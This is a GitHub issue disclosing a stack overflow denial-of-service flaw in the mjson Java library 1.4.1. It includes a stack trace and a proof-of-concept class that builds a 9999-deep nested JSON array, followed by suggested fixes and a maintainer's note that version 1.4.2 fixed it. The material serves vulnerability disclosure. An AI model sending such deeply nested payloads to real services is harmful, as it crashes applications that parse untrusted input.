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Stack overflow error caused by mjson parsing of untrusted JSON String #40

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PoppingSnack opened this issue May 25, 2023 · 1 comment
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Stack overflow error caused by mjson parsing of untrusted JSON String

Description

Using mjson to parse untrusted JSON String may be vulnerable to denial of service (DOS) attacks. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow.

Error Log

Exception in thread "main" java.lang.StackOverflowError
	at java.base/java.lang.ThreadLocal.get(ThreadLocal.java:165)
	at mjson.Json.factory(Json.java:1192)
	at mjson.Json.array(Json.java:1291)
	at mjson.Json$Reader.readArray(Json.java:2787)
	at mjson.Json$Reader.read(Json.java:2715)
	at mjson.Json$Reader.readArray(Json.java:2788)
	at mjson.Json$Reader.read(Json.java:2715)
	at mjson.Json$Reader.readArray(Json.java:2788)
	at mjson.Json$Reader.read(Json.java:2715)
	at mjson.Json$Reader.readArray(Json.java:2788)
	at mjson.Json$Reader.read(Json.java:2715)
	at mjson.Json$Reader.readArray(Json.java:2788)
	at mjson.Json$Reader.read(Json.java:2715)
	at mjson.Json$Reader.readArray(Json.java:2788)
	at mjson.Json$Reader.read(Json.java:2715)
	at mjson.Json$Reader.readArray(Json.java:2788)
	at mjson.Json$Reader.read(Json.java:2715)
	at mjson.Json$Reader.readArray(Json.java:2788)
	at mjson.Json$Reader.read(Json.java:2715)
	at mjson.Json$Reader.readArray(Json.java:2788)
	at mjson.Json$Reader.read(Json.java:2715)
	at mjson.Json$Reader.readArray(Json.java:2788)
	at mjson.Json$Reader.read(Json.java:2715)
	at mjson.Json$Reader.readArray(Json.java:2788)

PoC

        <dependency>
            <groupId>org.sharegov</groupId>
            <artifactId>mjson</artifactId>
            <version>1.4.1</version>
        </dependency>
import mjson.Json;

public class PoC {

    public final static int TOO_DEEP_NESTING = 9999;
    public final static String TOO_DEEP_DOC = _nestedDoc(TOO_DEEP_NESTING, "[ ", "] ", "0");


    public static String _nestedDoc(int nesting, String open, String close, String content) {
        StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
        for (int i = 0; i < nesting; ++i) {
            sb.append(open);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        sb.append("\n").append(content).append("\n");
        for (int i = 0; i < nesting; ++i) {
            sb.append(close);
            if ((i & 31) == 0) {
                sb.append("\n");
            }
        }
        return sb.toString();
    }

    public static void main(String[] args) {
        String jsonString = TOO_DEEP_DOC;
        Json.read(jsonString);
    }
}

Rectification Solution

  1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (FasterXML/jackson-databind@fcfc499)

  2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((google/gson@2d01d6a20f39881c692977564c1ea591d9f39027))

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bolerio commented Oct 15, 2024

Duplicate,fixed in 1.4.2

@bolerio bolerio closed this as completed Oct 15, 2024
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